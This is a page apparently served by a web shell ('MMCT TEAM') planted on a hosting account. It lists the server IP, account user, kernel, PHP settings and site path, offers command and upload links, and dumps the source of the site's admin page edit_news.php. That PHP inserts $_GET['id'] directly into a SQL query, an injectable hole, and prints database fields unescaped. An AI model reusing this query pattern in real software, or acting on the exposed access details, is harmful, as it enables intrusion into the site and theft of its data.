MMCT TEAM
Server IP : 145.79.210.100  /  Your IP : 216.73.216.101
Web Server : LiteSpeed
System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64
User : u474798400 ( 474798400)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u474798400/domains/excentia.in/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u474798400/domains/excentia.in/public_html/admin/edit_news.php
<?php include('config.php');
include('checksession.php');
$query=mysqli_query($conn,"select * from tbl_news where id='".$_GET['id']."'");
$row=mysqli_fetch_object($query);
?>
<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="utf-8">
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <title>AdminLTE 3 | News</title>
      <!-- Google Font: Source Sans Pro -->
      <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
      <!-- Font Awesome -->
      <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
      <!-- Ekko Lightbox -->
      <link rel="stylesheet" href="plugins/ekko-lightbox/ekko-lightbox.css">
      <!-- Theme style -->
      <link rel="stylesheet" href="dist/css/adminlte.min.css">
      <link rel="stylesheet" href="plugins/summernote/summernote-bs4.min.css">
      <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
      <link rel="stylesheet" href="last/summernote-bs4.min.css">
      <style>
         .sec22{width: 30%; float: left; margin: 50px 0 0 20%;}
         .sec23{width: 40%; float: left; margin: 50px 0 0 3%;}
         .secin{width: 100%; float: left;}
         .note-editor.note-frame .note-editing-area .note-editable{min-height: 150px;}
         .add_images{
    font-size: 31px;
    font-weight: bold;
    cursor: pointer; float:right;
}

.remove_images{
 margin-left: 8px;
    font-size: 31px;
    cursor: pointer;
    font-weight: bold;
}
.addpro{ float:right; color:#fff;}
.lefts{width:50%; float:left; clear:both;}
.rights{width:50%; float:right; clear:both;}
.remove_images{padding: 18px 14px; background:#F00; moz-border-radius:50%; webkit-border-radius:50%;border-radius:50%;line-height: 0;
  color: #fff;}
.add_images{padding: 19px 11px; background:#1edf02; moz-border-radius:50%; webkit-border-radius:50%;border-radius:50%;line-height: 0;
  color: #fff;margin: 0 0 0 10px;}
  
  .preview-area{ 
        display: flex;
        flex-wrap: wrap;margin: 200px 0 0 0; width:100%;
    }
    .preview-area img{
        width: 100px; 
        margin: 0 0 10px;
        object-fit: contain;
    }
    .preview-area img:not(:nth-child(4n)){
        margin-right: 1.333%;
    } 
    #dvPreview img{ margin:0.971%}
    #dvPreview{width: 100%;
  float: left;}

      </style>
   </head>
   <body class="hold-transition sidebar-mini">
      <div class="wrapper">
       
    <nav class="main-header navbar navbar-expand navbar-white navbar-light">
    <!-- Left navbar links -->


    <!-- Right navbar links -->
    <ul class="navbar-nav ml-auto">
      <!-- Navbar Search -->
     
      <li><a href="logout.php" class="btn btn-block btn-danger">Logout</a></li>
    </ul>
  </nav>
         <!-- /.navbar -->
         <!-- Main Sidebar Container -->
         <aside class="main-sidebar sidebar-dark-primary elevation-4">
            <!-- Brand Logo -->
            <a href="dashboard.php" class="brand-link">
            <img src="" alt="salient Logo" class="brand-image img-circle elevation-3" style="opacity: .8">
            <span class="brand-text font-weight-light">salient</span>
            </a>
            
              <?php include 'sitebar.php';?>
         </aside>
         <!-- Content Wrapper. Contains page content -->
         <div class="content-wrapper">
            <!-- Content Header (Page header) -->
            <section class="content-header">
               <div class="container-fluid">
                  <div class="row mb-2">
                     <div class="col-sm-6">
                        <h1>Add News</h1>
                     </div>
                     <div class="col-sm-6">
                        <ol class="breadcrumb float-sm-right">
                           <li class="breadcrumb-item"><a href="#">Home</a></li>
                           <li class="breadcrumb-item active">Edit News</li>
                        </ol>
                     </div>
                  </div>
               </div>
               <!-- /.container-fluid -->
            </section>
            <!-- Main content -->
            <section class="content">
               <div class="container-fluid">
                  <div class="row">
                     <div class="col-12">
                       
                         <form id="edit_news_form" enctype="multipart/form-data">
                         <!--<form action="" method="post" enctype="multipart/form-data">-->
                        <div class="card card-primary">
                           <div class="card-header">
                              <h4 class="card-title">Edit News</h4>
                           </div>
                           
                           <div class="card-body">
                            
                            <div class="form-group">
                                 <label>News Date *</label>
                                 <div class="col-md-12">
                                    <div class="card card-outline card-info">
                                 
                                       <!-- /.card-header -->
                                       <div class="card-body">
                                         <input class="form-control" type="date" id="ndate" name="ndate" placeholder="News Date" value="<?=$row->news_date;?>">
                                       </div>
                                    </div>
                                 </div>
                              </div>
                              
                              
                               <div class="form-group">
                                 <label>Title *</label>
                                 <div class="col-md-12">
                                    <div class="card card-outline card-info">
                                 
                                       <!-- /.card-header -->
                                       <div class="card-body">
                                         <input class="form-control" type="text" id="title" name="title" placeholder="Title" value="<?=$row->title;?>">
                                       </div>
                                    </div>
                                 </div>
                              </div>
                              
                              
                                  
                              <div class="form-group" style="width:100%; float:left; margin:40px 0 0 0;">
                                 <label> Content *</label>
                                 <div class="col-md-12">
                                    <div class="card card-outline card-info">
                                       <div class="card-header">
                                          <h3 class="card-title">
                                             Content
                                          </h3>
                                       </div>
                                       <!-- /.card-header -->
                                       <div class="card-body">
                                          <textarea id="summernote2" name="firstcontent">
                                          <?=$row->description;?>
                                          </textarea>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                              
                              
                                     
                                  
                                   <div class="col-6 lefts">
                              <div class="form-group">
                                 <label for="exampleInputFile1">News Image * <br><span style="color:red;">(For better view please upload 800px x 600px size images.)</span></label>
                                 <div class="input-group">
                                    <div class="custom-file">
                                       <input type="file" class="custom-file-input" name="pro_img1"  id="exampleInputFile1">
                                       <label class="custom-file-label" for="exampleInputFile1">Choose file</label>
                                    </div>
                                    <div class="input-group-append">
                                       <span class="input-group-text">Upload</span>
                                    </div>
                                 </div>
                              </div>
                             
                              </div>
                               <div class="col-6" style="float:left">
                                   <div style="width: 151px;  height: 121px;  position: relative;  z-index: 100;  opacity: 1;  margin: 0 0 -120px 0px;  border: 3px solid #fff;"></div>
                                  <img src="news_image/<?=$row->image;?>" id="image1" / width="150px;" height="120px;" border="0">
                                  </div>
                              
                             
                              <!--<div class="col-6 lefts">-->
                             
                              <!--</div>-->
                      
                              <!--<div class="col-6 lefts" >-->
                              <!--<span class="add_images" onclick="add_more_images();">+ </span>-->
                           
                              <!--</div>-->
           
                              <div class="col-6 rights">
                                  <p id="err_msg" style="text-align:right"></p>
                              <div class="form-group">
                                  <input type="hidden" name="id" value="<?=$row->id;?>">
                                  <button class="btn btn-warning addpro" type="submit"  class="">Submit <span class="spinner-border text-secondary" role="status" style="display:none;"></span></button>
                                  </div>
                                  </div>
                                  
                                  <div id="dvPreview">
</div>
                           </div>
                        </div>
        

                        </form>
                       
                     </div>
                  </div>
               
               <!-- /.container-fluid -->
            </section>
         </div>
         <!-- /.content-wrapper -->
         <footer class="main-footer">
            <div class="float-right d-none d-sm-block">
              
            </div>
            <strong>Copyright &copy; 2014-2021 <a href="https://salientdesignstudio.com/">Salient Design Studio</a>.</strong> All rights reserved.
         </footer>
         <!-- Control Sidebar -->
         <aside class="control-sidebar control-sidebar-dark">
            <!-- Control sidebar content goes here -->
         </aside>
         <!-- /.control-sidebar -->
      </div>
      <!-- ./wrapper -->
      <!-- jQuery -->
     <script src="plugins/jquery/jquery.min.js"></script>
      <!-- Bootstrap -->
      <script src="plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
      <!-- Ekko Lightbox -->
      <script src="plugins/ekko-lightbox/ekko-lightbox.min.js"></script>
      <!-- AdminLTE App -->
      <script src="dist/js/adminlte.min.js"></script>
      <!-- Filterizr-->
      <script src="plugins/filterizr/jquery.filterizr.min.js"></script>
      <!-- AdminLTE for demo purposes -->
      <script src="dist/js/demo.js"></script>
      <!-- Page specific script -->
      <script>
    

$(function () {
    $("#mfile").change(function () {
        if (typeof (FileReader) != "undefined") {
            var dvPreview = $("#dvPreview");
            dvPreview.html("");
            var regex = /^([a-zA-Z0-9\s_\\.\-:])+(.jpg|.jpeg|.gif|.png|.bmp)$/;
            $($(this)[0].files).each(function () {
                var file = $(this);
                if (regex.test(file[0].name.toLowerCase())) {
                    var reader = new FileReader();
                    reader.onload = function (e) {
                        var img = $("<img />");
                        img.attr("style", "height:120px;width: 150px");
                        img.attr("src", e.target.result);
                        dvPreview.append(img);
                    }
                    reader.readAsDataURL(file[0]);
                } else {
                    alert(file[0].name + " is not a valid image file.");
                    dvPreview.html("");
                    return false;
                }
            });
        } else {
            alert("This browser does not support HTML5 FileReader.");
        }
    });
});
</script>
      <script>
         $(function () {
           $(document).on('click', '[data-toggle="lightbox"]', function(event) {
             event.preventDefault();
             $(this).ekkoLightbox({
               alwaysShowClose: true
             });
           });
         
           $('.filter-container').filterizr({gutterPixels: 3});
           $('.btn[data-filter]').on('click', function() {
             $('.btn[data-filter]').removeClass('active');
             $(this).addClass('active');
           });
         })
      </script>
      <script src="plugins/summernote/summernote-bs4.min.js"></script>
      <!-- CodeMirror -->
      <script src="plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
      <!-- AdminLTE for demo purposes -->
      <script src="dist/js/demo.js"></script>
      <!-- Page specific script -->
      <!-- jQuery -->
      <script src="last/jquery.min.js"></script>
      <!-- Bootstrap 4 -->
      <script src="last/bootstrap.bundle.min.js"></script>
      <!-- AdminLTE App -->
      <!-- Summernote -->
      <script src="last/summernote-bs4.min.js"></script>
      <!-- CodeMirror -->
      <!-- AdminLTE for demo purposes -->
      <script src="last/demo.js"></script>
      <!-- Page specific script -->
      <script>
      
document.getElementById('exampleInputFile1').onchange = function () {
  var src = URL.createObjectURL(this.files[0])
  document.getElementById('image1').src = src
}

///////////////// Multiple Image Preview //////////////

jQuery(document).ready(function () {
  ImgUpload();
});

function ImgUpload() {
  var imgWrap = "";
  var imgArray = [];

  $('.upload__inputfile').each(function () {
    $(this).on('change', function (e) {
      imgWrap = $(this).closest('.upload__box').find('.upload__img-wrap');
      var maxLength = $(this).attr('data-max_length');

      var files = e.target.files;
      var filesArr = Array.prototype.slice.call(files);
      var iterator = 0;
      filesArr.forEach(function (f, index) {

        if (!f.type.match('image.*')) {
          return;
        }

        if (imgArray.length > maxLength) {
          return false
        } else {
          var len = 0;
          for (var i = 0; i < imgArray.length; i++) {
            if (imgArray[i] !== undefined) {
              len++;
            }
          }
          if (len > maxLength) {
            return false;
          } else {
            imgArray.push(f);

            var reader = new FileReader();
            reader.onload = function (e) {
              var html = "<div class='upload__img-box'><div style='background-image: url(" + e.target.result + ")' data-number='" + $(".upload__img-close").length + "' data-file='" + f.name + "' class='img-bg'><div class='upload__img-close'></div></div></div>";
              imgWrap.append(html);
              iterator++;
            }
            reader.readAsDataURL(f);
          }
        }
      });
    });
  });

  $('body').on('click', ".upload__img-close", function (e) {
    var file = $(this).parent().data("file");
    for (var i = 0; i < imgArray.length; i++) {
      if (imgArray[i].name === file) {
        imgArray.splice(i, 1);
        break;
      }
    }
    $(this).parent().parent().remove();
  });
}

///////////////////////// End ////////////////////////////



         $(function () {
           // Summernote
           $('#summernote').summernote()
         
           // CodeMirror
           CodeMirror.fromTextArea(document.getElementById("codeMirrorDemo"), {
             mode: "htmlmixed",
             theme: "monokai"
           });
         })
           $(function () {
           // Summernote
           $('#summernote2').summernote()
         
           // CodeMirror
           CodeMirror.fromTextArea(document.getElementById("codeMirrorDemo"), {
             mode: "htmlmixed",
             theme: "monokai"
           });
         })
         
         $(document).ready(function(){
          $("#edit_news_form").submit(function(e){

         e.preventDefault();
         
         
         var firstcontent=$("#summernote2").val();
         



        // alert(firstcontent);
         var newdata = new FormData(this);
    
         newdata.append( "action", 'updatenewsitem');
         newdata.append( "firstcontent", firstcontent);

    
        if($("#ndate").val()=='')
    {
      $("#err_msg").show().html('<span style="color:red;"> Please enter news date.</span>').delay(4000)
    .fadeOut(100);
  return false;  
    }

 
    
          else if($("#title").val()=='')
    {
      $("#err_msg").show().html('<span style="color:red;"> Please enter news title.</span>').delay(4000)
    .fadeOut(100);
  return false;  
    }
    
        else if(firstcontent=='')
    {
       
      $("#err_msg").show().html('<span style="color:red;"> Please enter news content.</span>').delay(4000)
    .fadeOut(100);
  return false;  
    }
    
//               else if($("#exampleInputFile1").val()=='')
//     {
//       $("#err_msg").show().html('<span style="color:red;"> Please upload news image.</span>').delay(4000)
//     .fadeOut(100);
//   return false;  
//     }
    
  else{
      $(".spinner-border").show();
     $.ajax({

                            url: 'allajax.php',
                            type:'POST',
                            data: newdata,
                            contentType: false,
                            cache: false,
                            processData:false,
                          success:function(result2){
                            console.log(result2);
                            if(result2==1){
                           $(".spinner-border").hide();   
                           $("#err_msg").show().html('<span style="color:green;">News updated successfully.</span>').delay(5000)
    .fadeOut(100);
                          
                           //$("#edit_news_form")[0].reset();
                            }else{
                             $("#err_msg").show().html('<span style="color:red;">Something wrong. Try after sometimes.</span>');   
                            }
                               }
                             });  
    }
         
  
          });    
         });
         
       
         
      </script>
   </body>
</html>

MMCT - 2023